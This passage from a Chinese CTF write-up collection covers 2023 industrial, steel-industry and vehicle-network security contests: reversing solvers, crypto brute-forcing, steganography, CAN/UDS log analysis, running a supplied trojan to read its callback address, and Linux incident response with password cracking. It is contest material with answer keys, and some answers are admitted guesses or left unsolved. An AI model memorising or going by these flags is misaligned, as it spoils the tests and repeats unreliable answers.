      print(c[i * 5 + j], end='')
    print()
  print('****************')


def dec7(c, i):
  for j in range(i):
    t = c[i * 5]
    for k in range(4):
      c[i * 5 + k] = c[i * 5 + k + 1]
    c[i * 5 + k + 1] = t
  return c


def dec6(c):
  for i in range(5):
    dec7(c, i)
  return c


def dec5(c):
  for k in range(5):
    for l in range(k, 5):
      t = c[5 * k + l]
      c[5 * k + l] = c[5 * (4 - k) + 4 - l]
      c[5 * (4 - k) + 4 - l] = t
  for i in range(5):
    for j in range(i, 5):
      t = c[5 * i + j]
      c[5 * i + j] = c[5 * j + i]
      c[5 * j + i] = t
  return c


def dec4(c):
  for i in range(1, 0, -1):
    for j in range(2, 0, -1):
      t = c[21 - 5 * j]
      c[21 - 5 * j] = c[19 - j]
      c[19 - j] = c[5 * j + 3]
      c[5 * j + 3] = c[j + 5]
      c[j + 5] = t
  return c


def dec3(c):
  for i in range(1, -1, -1):
    for j in range(2, 0, -1):
      t = c[5 * j + 3]
      c[5 * j + 3] = c[19 - j]
      c[19 - j] = c[21 - 5 * j]
      c[21 - 5 * j] = c[j + 5]
      c[j + 5] = t
  return c


def dec2(c):
  for i in range(1, 0, -1):
    for j in range(3, -1, -1):
      t = c[20 - 5 * j]
      c[20 - 5 * j] = c[24 - j]
      c[24 - j] = c[5 * j + 4]
      c[5 * j + 4] = c[j]
      c[j] = t
  return c


def dec1(c):
  for i in range(2, -1, -1):
    for j in range(3, -1, -1):
      t = c[5 * j + 4]
      c[5 * j + 4] = c[24 - j]
      c[24 - j] = c[20 - 5 * j]
      c[20 - 5 * j] = c[j]
      c[j] = t
  return c


def deckey(c):
  key = b'die'
  for i in range(5):
    for j in range(5):
      n = (ord(c[i * 5 + j]) - 33) ^ key[(i * 5 + j) % len(key)]
      c[i * 5 + j] = chr(n)
  return c


if __name__ == '__main__':

  myprint(rc)

  c6 = dec6(rc)
  myprint(c6)

  c5 = dec5(c6)
  myprint(c5)

  c4 = dec4(c5)
  myprint(c4)

  c3 = dec3(c4)
  myprint(c3)

  c2 = dec2(c3)
  myprint(c2)

  c1 = dec1(c2)
  myprint(c1)

  ck = deckey(c1)
  myprint(ck)

  for i in range(5):
    for j in range(5):
      print(ck[i * 5 + j], end='')
  print()
"""
|05|00|00|00|09|
|00|00|00|04|00|
|00|03|00|00|10|
|06|00|02|00|00|
|08|00|00|01|07|

0Smf3xyPr1qnom~RiUvJt[]f@

0Smf3
xyPr1
qnom~
RiUvJ
t[]f@

flag{fUnr0R@t3~}  
"""

但是还没完，tips还没有用上，注意tips上是01-10数字，找到输入的对应位置，拼成flag才是正确答案。但是 flag{fUnr0R@t3~}

bind【逆向】

找到木马程序Reverse_bind.exe反连的IP地址、端口、木马作者，提交格式flag{IP:port:name}

IDA64反汇编一下，看到有base64编码的类似FileName的字符串，解码得到 D:\Users\cookie\Documents\flag.docx，注意 D:\Users\cookie\Documents\ 目录需要自己手动创建，才能生成flag.docx。

D:\Users\cookie\Documents\ 目录需要自己手动创建

执行 Reverse_bind.exe，有两个变化。第一，生成了D:\Users\cookie\Documents\flag.docx，打开，全选，设置文字颜色黑色能看到 Name: FWKT。第二，Reverse_bind.exe 消失了，生成了Reverse_bind.docx。但是Reverse_bind.docx是个exe文件，修改扩展名后可以执行。执行后去任务管理器找进程号，netstat -ano再按照进程号过滤一下，看到反连IP地址和端口。答案是 flag{10.30.7.37:808:FWKT}

慢动作【misc、文件magic、摩斯码】

附件慢动作.rar。文件头被篡改了，magic值应为 52 49 46 46 C0 E0 73 00 57 41 56 45 66 6D 74 20。之后Audacity打开，看波形是摩斯码，解码即可。答案是flag{E25BD0C61E21DE13F76823CA2DE8646A}

缺失的数据【流量分析】

附件缺失的数据.pcapng，题目说flag隐藏在欧姆龙PLC的D101位置数据。wireshark打开发现读操作流量一直读D103位置，地址0x0067。

写操作流量找到地址0x0065的，对应D101位置。 拼出 flag{0mron_is_50_funNy}

multiple【密码学】

加密代码如下。对flag每个字符，去table里找到index，index乘以58再对63（table的长度）求模得到index_after，然后再去table里找到相应位置字符，拼成密文c。

table = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
flag = b'************'
c = b''
mul = 58
for i in flag:
    index=table.find(i)
    index_after = (index * mul) % 63
    c = c + bytes.fromhex(hex(table[index_after])[2:])
print(c)


'''
q4qfg4Afn94qfdAiFxZiR
'''

可以爆破，代码如下。 第一层循环，对每一位爆破。第二层循环，从0到table的长度遍历index，得到密文与题目密文一致，说明index正确，则爆破成功填入相应字符。答案flag{wow_you_know_multiple}

def dec(c):
    table = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
    m = bytearray(len(c))
    for i in range(len(c)):
        for index in range(0, 63):
            index_after = (index * 58) % 63
            t = bytes.fromhex(hex(table[index_after])[2:])
            if t[0] == c[i]:
                m[i] = table[index]
    return m


if __name__ == '__main__':
    c = b'q4qfg4Afn94qfdAiFxZiR'
    m = dec(c)
    print(m)

# bytearray(b'wow_you_know_multiple')

gotocrc 【misc、crc32爆破】

附件是一张名为git.png的图片。用Stegsolve打开，提取数据LSB，发现是一个7z压缩文件。

git.png

这个7z文件是加密的。无法爆破密码。但是大小只有3byte，可以使用crc32爆破直接爆破明文内容。拼起来是 flag{this_is_crc32hh}

-------------Start Crack CRC-------------
[+] 0x40e61be5: fla
[+] 0x297a11af: g{t
[+] 0xc4b6b3e2: his
[+] 0xe59240f7: _is
[+] 0x687a98eb: _cr
[+] 0x896c98db: c32
[+] 0x3a15afa4: hh}
-----------CRC Crack Completed-----------
Result: flag{this_is_crc32hh}

应急响应-Linux【场景题】 

Linux被黑了，溯源。

• flag1：寻找隐藏用户的账号密码信息，flag提交格式为flag{xxx:xxx用户的密码}；
• flag2：通过history记录寻找flag线索，flag提交格式例如：flag{}；
• flag3：找到入侵者留下的病毒文件进行分析，flag提交格式为：flag{回连ip:回连port}；
• flag4：分析出日志中针对西门子私有通信协议扫描最多的IP，flag为该ip，flag提交格式为： flag{ip}。

flag1：在/etc/passwd和/etc/shadow发现新增用户test。用fscan结合弱口令密码本爆破得到flag{test:admin123}

flag2：在/var/logs/audit/audit.log.bak中发现 flag{wcses-ewmih-wdgad}

flag3和flag4未能找到。

2023.10、工业信息安全技能大赛-钢铁行业锦标赛

Reverse

08ropmaster

64位elf，反汇编找到main函数。main里点击encrypt函数报错地址 0x40D1AA 分析失败。跳转到这结合后续分析判断这个调用没有意义，直接nop掉。再反编译发现函数返回地址 retaddr 改成了0x402AC6，是func53函数地址。之后都是这样修改了返回地址。得到调用关系 main() -> encrypt() -> func53() -> func111() -> func200() -> func201() -> main() 。其中 func201() 做了数组下表判断，未完成遍历跳转到main调用encrypt函数处，已完成遍历跳转到main检查结果处，形成了循环遍历。算法比较简单，答案flag{876d91cc-af41-5c6d-ba1b-3f8196ad05c8}

cip = bytes.fromhex(
    '46504345397C7576487B7341418F434678738F774176488F424373428F71467C737B7643487477417C3F')
lc = len(cip)
flag = bytearray(lc)
for i in range(lc):
  flag[i] = (cip[i] - 17) ^ 0x53
print(flag.decode('utf-8'))
# flag{876d91cc-af41-5c6d-ba1b-3f8196ad05c8}

call rax 没有意义，nop掉就可以F5反编译了

call rax 没有意义，nop掉就可以F5反编译了

main() -> encrypt()

encrypt() -> func53()

func53() -> func111()

func111() -> func200()

func200() -> func201()

func201() -> main()

09simple_re

64位elf，反编译，逻辑比较简单。输入字符串和s1字符串逐位异或得到s2，如果能匹配到20个密码中的一个，打印问候语，s2和s3逐位异或，结果是flag{开头就打印。s2的20个字符串是用地址给出的字符串，需要自己算出20个地址（0x4040C0,0x404120,0x404180,0x4041E0,0x404240,0x4042A0,0x404300,0x404360,0x4043C0,0x404420,0x404480,0x4044E0,0x404540,0x4045A0,0x404600,0x404660,0x4046C0,0x404720,0x404780,0x4047E0），shift+E再copy出来。分别异或回去得到答案 flag{RnVPvjUysd3AwqnX} 和输入 8j6VZdXEZvsaus49zrBvWo 。

s1 = bytes.fromhex(
    '53527A4C5A6C4B766C59484A71427141537A53714E6747585447634B586F4465')
s3 = bytes.fromhex('0D542D7D7B5A7D656659517E7D42214B687F60694175')
s2 = [bytes.fromhex('040A223A0E0B063C2A302E06060E04331935291E1A32'),
      bytes.fromhex('23273523111A381E3F031D082B3B28240A0E3C023620'),
      bytes.fromhex('211B2F000F3E2337161F0B12353B3D233E1010202600'),
      bytes.fromhex('11050B001B04380209290D031E210216180C38260135'),
      bytes.fromhex('3610321C390D1C3827030C0D150E15073E361B000F10'),
      bytes.fromhex('1B040B222B2606323B1B070121233D34010C32291813'),
      bytes.fromhex('1C102D36161929311614032833282B371C111F39010E'),
      bytes.fromhex('061A29260C153D061B3C113D360D382E272E09372C3E'),
      bytes.fromhex('3D3023290C0724102912380121160805261C3F23390F'),
      bytes.fromhex('17261D29330902102E130C3D32263A3336192B100A0D'),
      bytes.fromhex('311C1E393503251A091D0C2529151F08042018021C28'),
      bytes.fromhex('30181B16312224183C0D0B033A28162A1D0E323B3425'),
      bytes.fromhex('141539280E2929303F321C2E262D14140A3D31282105'),
      bytes.fromhex('073A1B2232382305292A0538252E1D31302A0721183D'),
      bytes.fromhex('3F10110D281F07221E1C2206022E063710141132000E'),
      bytes.fromhex('6B384C1A00081333362F3B2B04314578290811071908'),
      bytes.fromhex('311F1C3B2308121D2B3412011A083322262E173D0501'),
      bytes.fromhex('1139152E1F0F0901011E3A3F2029350F3A0C0237201F'),
      bytes.fromhex('210A3E0B2F243C2E3E17391921353A17362E02080D37'),
      ]

size = 22
flag = bytearray(size)
inputs = bytearray(size)

for i in range(len(s2)):
    for j in range(size):
        flag[j] = s2[i][j] ^ s3[j]
    tf = flag.decode('utf-8')
    if tf[:5] == 'flag{':
        print(tf)
        for k in range(size):
            inputs[k] = s2[i][k] ^ s1[k]
        print(inputs.decode('utf-8'))
# flag{RnVPvjUysd3AwqnX}
# 8j6VZdXEZvsaus49zrBvWo

main

operate

make_s2

check

05easy_vm 

64位elf，比赛时未能做出，后来看了很久看懂了。题目用switch结合guide数组实现了一个循环过程，完成对输入字符串的加密。自行定义struct EncryptStruct 辅助逆向分析，结合guide数组的值，判断整个加密过程如下。后附逆向分析截图，尽量写好注释。

1. handler_mov函数： key_buf = key[index]
2. handler_add函数：  key_buf = key[index] + 5
3. handler_not函数：   key_buf = ~(key[index] + 5)
4. handler_mov函数： src_buf = src[index]
5. handler_sub函数：  src_buf = src[index] - 8
6. handler_xor函数：   key_buf = ~(key[index] + 5) ^ (src[index] - 8)
7. handler_mov函数： dest[index] = key_buf
8. handler_add函数：  index += 1
9. handler_cmp函数： cmp = 20 >= index
10. handler_jl函数：       对curpos操作，进行下一次循环或结束循环

脚本很简单，注意不大于255的整数按位取反的用法（可以看看Python中实现真正的按位取反运算_python按位取反运算符-CSDN博客），答案 flag{Galaxy_Easy!VM}

标题

key = bytearray('sundosnapxnsodkshgds', 'utf-8')
dest = bytes.fromhex('D9E1D5C9F8B8D5FDD3F2FDD0B6CFE4F68BDDD3F2')
lk, ld = len(key), len(dest)
flag = bytearray(ld)
i = 0
while i < ld:
  flag[i] = (dest[i] ^ (0xFF & ~(key[i % lk] + 5))) + 8 # python取反注意真取反，所以要与0xFF
  i += 1
print(flag.decode('utf-8'))

main函数

operate函数对比加密后的密文

自定义的局部类型EncryptStruct，辅助逆向分析

encrypt函数

EncryptStruct::CreateInstance函数初始化加密实例

// guide数组
unsigned char guide[] =
{
    1,   1,   0,   1,   2,   0,   2,   1,   5,   5, 
    1,   3,   0,   3,   8,   4,   1,   4,   0,   2, 
    2,   1,   6,  20,   7,   3,   8
};

encrypt_cycle函数实现循环遍历

handler_mov函数

handler_add函数

handler_sub函数

handler_xor函数

 handler_not函数

handler_cmp函数

handler_jl函数

07reverse_misp【应该是mips、mips32】

DIE查看，发现是MIPS架构、32位、大端序ELF。IDA反汇编差了一步，结合别人的wp和这两篇博客才知道踩坑了。记录一下，注释尽量清楚。get_key函数key1和key2赋值用的汇编指令是lb而不是lbu。lb读取字节后以有符号数方式扩展，因此大于0x80的字节会扩展成 0xFFFFFF00 | byte，需要自己写转换函数。

https://www.cnblogs.com/wgf4242/p/17798497.html

32位mips指令说明_lbu指令什么意思-CSDN博客

MIPS指令集：运算指令、访存指令、分支和跳转、协处理器0指令-CSDN博客

call_count = 0
buf = bytearray(256)
key = bytes.fromhex('798BD8BA2C0E18D4E8B0380AC69571F2')
key_idx = 0


def lb(b):
  """
  区分好mips指令lb和lbu，lb是以有符号数扩展的
  """
  if b > 0x80:
    return 0xFFFFFF00 | b
  else:
    return b


def get_key():
  global call_count
  global buf
  global key
  global key_idx

  if not call_count:
    for i in range(256):
      buf[i] = i
    buf_idx = key[key_idx]
    key_idx += 1
    if key_idx >= 16:
      key_idx = 0

    for j in range(256):
      buf_idx = (109 * buf_idx + 57) & 0xFF
      buf[j], buf[buf_idx] = buf[buf_idx], buf[j]

  call_count = (call_count + 1) & 0xFF
  key1 = lb(buf[call_count])                    # 注意汇编指令中的lb
  key2 = lb(buf[(call_count + key1) & 0xFF])    # 注意汇编指令中的lb
  t = key1 ^ key2
  return ((t << 4) & 0xFF) | ((t >> 4) & 0xFF)


def xor_decrypt():
  enc_dest1 = bytes.fromhex('B782123464EE91B40CD5B72DCCB2B68E')
  enc_dest2 = bytes.fromhex('211623130E001C462E75090F10036F0B')
  flag1 = bytearray(len(enc_dest1))
  flag2 = bytearray(len(enc_dest2))
  for i in range(16):
    flag1[i] = enc_dest1[i] ^ get_key()
    flag2[i] = enc_dest2[i] ^ flag1[i]
  print(flag1.decode('utf-8'))  # GzBtuJi5Z0glYwNv
  print(flag2.decode('utf-8'))  # flag{JustEncIt!}


if __name__ == '__main__':
  xor_decrypt()

flag{JustEncIt!}

MIPS架构 32位 大端序

main函数

xor_encrypt函数做异或

get_key获取秘钥，注意汇编指令lb

get_key获取秘钥，注意汇编指令lb

compare函数只走else if分支，其他是干扰

2023.11.24、工业信息安全技能大赛-车联网安全锦标赛-线上赛【时间冲突，未能参赛，赛后思考】

MISC

不一样的车载音乐

附件是 车载音乐.mp3，binwalk -e m.mp3，得到 encryption.jpg 和 精彩的文件.zip。
encryption.jpg显示这是秘钥：dnmjfk，用凯撒（key=13）解码得到解压缩密码qazwsx。

encryption.jpg显示这是秘钥：dnmjfk，用凯撒（key=13）解码得到解压缩密码qazwsx。

用qazwsx解压缩 精彩的文件.zip 得到 ISflag.png。
当前PNG图片宽度和高度为：616*461，CRC效验PNG宽度和高度应为：620*461爆破宽度高度620×461，得到ISflag-2.png，可以看到长短竖线。

ISflag-2.png，可以看到长短竖线

长短竖线，长1短0，得到0110011001110110001101100110110000110000011000010111000000110111001101010111010101100111011001000011100000110000001100000110001000110100011001100110000100110011001101100110000100110111011000110011100100111000001101100111010001100001011001110111001101110010001100000101100101001010011011110111100101110000011011110111010101110010
转成ascii得到 fv6l0ap75ugd800b4fa36a7c986tagsr0YJoypour，不知道flag是什么

Wrong type of compression

描述：
What is the difference between zlib and zstandard 

附件flag.pcap导出HTTP流，发现很多图片，但只有enc_flag.png%3fpasswd=123是png格式，其他是文本格式。重命名为enc_flag.png，010Editor观察数据结构，读取IDAT发现不能用zlib解压缩。根据提示是zstd压缩。写脚本，把zstd格式改成zlib格式，生成d.png图片。不知道flag是什么

import zstandard as zstd
import zlib

with open('enc_flag.png', 'rb') as fsrc:
    data = fsrc.read()

    # 文件头和IHDR块不变
    bytes_png = data[0:0x21]

    # 读取zstandard读取IDAT块，再zlib压缩成正常的IDAT块
    dctx = zstd.ZstdDecompressor() 
    bytes_decompress = dctx.decompress(data[0x29:0x4065])
    bytes_zlib = zlib.compress(bytes_decompress)

    # IDAT块长度4字节
    idat_len = hex(len(bytes_zlib))[2:].rjust(8, '0')
    bytes_png += bytes.fromhex(idat_len)
    
    # IDAT4字节，后面是zlib数据
    bytes_png += b'IDAT'        
    bytes_png += bytes_zlib

    # 从IDAT4字节开始计算crc32
    crc32_checksum = hex(zlib.crc32(bytes_png[0x25:]))[2:].rjust(8, '0') 
    print(crc32_checksum)
    bytes_png += bytes.fromhex(crc32_checksum)

    # 文件结尾IEND块不变
    bytes_png += data[0x4069:]

with open('d.png', 'wb') as fdst:
    fdst.write(bytes_png)

d.png

CAN RSA

描述：文件是保存的一段CAN总线数据，你能分析出其中的秘密吗。附件是2个文件，enc.txt是密文，candump.log是CAN总线数据传输日志。经过查资料发现使用的是UDS诊断解决方案，我将candump.log内容逐行做注释。

enc.txt

enc=49204714858589959506425439175649050431712689077552080337419353493097408019421214668787900602380476464749282877075822584378756221224722944848685142270406954588911362016685713099949058708493084032575436033859064998703946175169856560687276793237892152502134788316092552043085946089668969326209343517732349235471

candump.log及注释 

(1639100529.782244) can0 7D1#0210030000000000 0x021003 跳转到扩展会话
(1639100529.782245) can0 7D9#0650030053019400 0x065003 服务正响应
(1639100529.782245) can0 7D1#0210020000000000 0x021002 跳转到编程会话
(1639100529.782246) can0 7D9#0650020453257900 0x065002 服务正响应

(1639100529.782246) can0 7D1#0227030000000000 0x022703 请求种子
(1639100529.783136) can0 7D9#0667037FAD310A00 0x066703 回复种子0x7FAD310A
(1639100529.783136) can0 7D1#062704EDF1843B00 0x062704 发送密钥0xEDF1843B
(1639100529.783136) can0 7D9#0267040000000000 0x026704 密钥验证成功

(1639100529.783137) can0 7D1#01C63101FF342D2D 传输公钥文件
(1639100529.784147) can0 7D9#3000000000000000
(1639100529.784148) can0 7D1#212D2D2D42454749
(1639100529.784148) can0 7D1#224E205055424C49
(1639100529.784148) can0 7D1#2343204B45592D2D
(1639100529.784148) can0 7D1#242D2D2D0A4D4949
(1639100529.785350) can0 7D1#25424944414E4267
(1639100529.785350) can0 7D1#266B71686B694739
(1639100529.785351) can0 7D1#2777304241514546
(1639100529.785351) can0 7D1#2741414F43415130
(1639100529.786486) can0 7D1#29414D4949424341
(1639100529.786487) can0 7D1#2A4B4267514B502F
(1639100529.786487) can0 7D1#2B35335435763658
(1639100529.786487) can0 7D1#2C67575365742F35
(1639100529.816494) can0 7D1#2D656B7750500A61
(1639100529.816495) can0 7D1#2E574E487842454C
(1639100529.816495) can0 7D1#2F784C6F35616643
(1639100529.826369) can0 7D1#2078466D6D454446
(1639100529.866183) can0 7D1#214859476D684374
(1639100529.881159) can0 7D1#2274387243513868
(1639100529.881159) can0 7D1#237A5862554E7871
(1639100529.881160) can0 7D1#244D446B63456A4A
(1639100529.881160) can0 7D1#255A65796C74476B
(1639100529.881160) can0 7D1#26547237754E6F46
(1639100529.882281) can0 7D1#270A49484B67566D
(1639100529.882282) can0 7D1#2831774F63595971
(1639100529.882282) can0 7D1#29366B4756316D77
(1639100529.882282) can0 7D1#2A57654B65534633
(1639100529.883303) can0 7D1#2B4642686F577247
(1639100529.883303) can0 7D1#2C4D536C446A5A4E
(1639100529.883303) can0 7D1#2D55356C33316448
(1639100529.916441) can0 7D1#2E56477546327A31
(1639100529.926436) can0 7D1#2F706D426E457433
(1639100529.946355) can0 7D1#204D740A2B536648
(1639100529.966216) can0 7D1#2143457064557462
(1639100529.966216) can0 7D1#226D317172425247
(1639100529.966217) can0 7D1#2349304A514B4267
(1639100529.981101) can0 7D1#245148342B365151
(1639100529.981102) can0 7D1#254253333337614E
(1639100529.981102) can0 7D1#26474C7871733170
(1639100529.981102) can0 7D1#2735416467517A79
(1639100529.981103) can0 7D1#286A4E585A38317A
(1639100529.982272) can0 7D1#29426150510A6B49
(1639100529.982272) can0 7D1#2A42615839514633
(1639100529.982272) can0 7D1#2B573771634F6D50
(1639100529.982273) can0 7D1#2C444B48687A7956
(1639100529.983331) can0 7D1#2D4853476362384D
(1639100529.983331) can0 7D1#2E6D414273494F37
(1639100529.983332) can0 7D1#2F68316965515131
(1639100529.986530) can0 7D1#20436635366D434F
(1639100530.006390) can0 7D1#214C513546677057
(1639100530.016373) can0 7D1#224574707836510A
(1639100530.026510) can0 7D1#235252546F456F42
(1639100530.046453) can0 7D1#2468666A4238504E
(1639100530.066231) can0 7D1#254D7D103654472F
(1639100530.066231) can0 7D1#264B4D7D17644245
(1639100530.066232) can0 7D1#2748377359324479
(1639100530.081107) can0 7D1#2876533952766135
(1639100530.081107) can0 7D1#294B5871416F554C
(1639100530.081108) can0 7D1#2A64616238614E58
(1639100530.081108) can0 7D1#2B7A4C586B776743
(1639100530.081108) can0 7D1#2C320A325138566F
(1639100530.082283) can0 7D1#2D773D3D0A2D2D2D
(1639100530.082283) can0 7D1#2E2D2D454E442050
(1639100530.082283) can0 7D1#2F55424C4943204B
(1639100530.082284) can0 7D1#2045592D2D2D2D2D
(1639100530.083291) can0 7D9#7101FF3400000000

(1639100530.083291) can0 7D1#0322F15200000000 0x0322F1 读取当前诊断会话状态
(1639100530.083292) can0 7D9#62F1520100000000 0x0462F1 正常响应应该是0x0462F1
(1639100530.086573) can0 7D1#0211010000000000 0x021101 硬件复位
(1639100530.106380) can0 7D9#0251010000000000 0x025101 服务正响应

再写一个简单脚本，得到pub.key文件。但是这里面有  }<0x10>6TG/KM}<0x17> ，ASCII码0x10是转义用的，0x17是结束转义用的，但是具体什么含义不清楚。 不知道flag是什么

s = '2D2D2D2D2D424547494E205055424C4943204B45592D2D2D2D2D0A4D4949424944414E42676B71686B6947397730424151454641414F43415130414D49494243414B4267514B502F3533543576365867575365742F35656B7750500A61574E487842454C784C6F3561664378466D6D4544464859476D684374743872435138687A5862554E78714D446B63456A4A5A65796C74476B547237754E6F460A49484B67566D31774F63595971366B4756316D7757654B655346334642686F5772474D536C446A5A4E55356C3331644856477546327A31706D426E4574334D740A2B536648434570645574626D31717242524749304A514B42675148342B3651514253333337614E474C787173317035416467517A796A4E585A38317A426150510A6B4942615839514633573771634F6D50444B48687A79564853476362384D6D414273494F3768316965515131436635366D434F4C5135466770574574707836510A5252546F456F4268666A4238504E4D7D103654472F4B4D7D1764424548377359324479765339527661354B5871416F554C64616238614E587A4C586B776743320A325138566F773D3D0A2D2D2D2D2D454E44205055424C4943204B45592D2D2D2D2D'
bs = bytes.fromhex(s)
print(bs)
with open('pub.key', 'wb') as f:
    f.write(bs)


"""
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQKP/53T5v6XgWSet/5ekwPP
aWNHxBELxLo5afCxFmmEDFHYGmhCtt8rCQ8hzXbUNxqMDkcEjJZeyltGkTr7uNoF
IHKgVm1wOcYYq6kGV1mwWeKeSF3FBhoWrGMSlDjZNU5l31dHVGuF2z1pmBnEt3Mt
+SfHCEpdUtbm1qrBRGI0JQKBgQH4+6QQBS337aNGLxqs1p5AdgQzyjNXZ81zBaPQ
kIBaX9QF3W7qcOmPDKHhzyVHSGcb8MmABsIO7h1ieQQ1Cf56mCOLQ5FgpWEtpx6Q
RRToEoBhfjB8PNM}<0x10>6TG/KM}<0x17>dBEH7sY2DyvS9Rva5KXqAoULdab8aNXzLXkwgC2
2Q8Vow==
-----END PUBLIC KEY-----
"""

车联网安全锦标赛 - g0at's Blog 感谢这个博主分享，但我有几点不明白:
我没看懂为什么0x7D10和0x7D17都要换成BB，也就是0x4242。
我也没看懂e是怎么求出来的，我求的e和博主的不一样。

2023.11.28、工业信息安全技能大赛-典型工业行业锦标赛

Reverse

签到题

逻辑比较简单flag{1d2d302876ab2a34b9744d9080}

dest = bytes.fromhex(
    '878C808B985783548D5D5B585555598D9342904741964C4F4D4C9F414D444F81')
src = ''
for i in range(len(dest)):
    src += chr((dest[i] ^ i) - 33)
print(src)
# flag{1d2d302876ab2a34b9744d9080}

baby_go

go语言编写的64位exe，反汇编大概能看到自定义码表的base32加密，自定义码表是ACDEFGHIJKLMNOPQRSTUVWXYZ234567B，密文是N2XHD244PSVED53BHG2W7ZSVNK5W7ZSVPOTUHNU6，解密得到flag{th1s_1s_b4by_b4se32}

主要逻辑

ez_crypt 

64位exe，用go语言编写。IDA反汇编不能看到完整的伪代码，从反汇编看是对输入的长度26h的字符串做RC4加密，对比密文是否一致。用chef解密一下得到 flag{6cd72bd931a381ddca4e810224bd6d06}

用chef解密一下得到 flag{6cd72bd931a381ddca4e810224bd6d06}

IDA反汇编不能看到完整的伪代码，

RC4的PassPhrase

长度26h的密文

循环遍历比较

流量分析

异常的编码【IEC60870_104】

某黑客对电力系统进行渗透时发现某系统通过104协议进行数据通信，并在两台主机进行通讯时制造了异常，上位机截获到了发生异常时通讯的数据包。请尝试找出数据包的FLAG。FLAG格式为:flag{}
IEC104.pcapng包，找出IEC协议，追踪流TCP，发现传输数据内容是字符welcome，猜测是 flag{welcome}

标题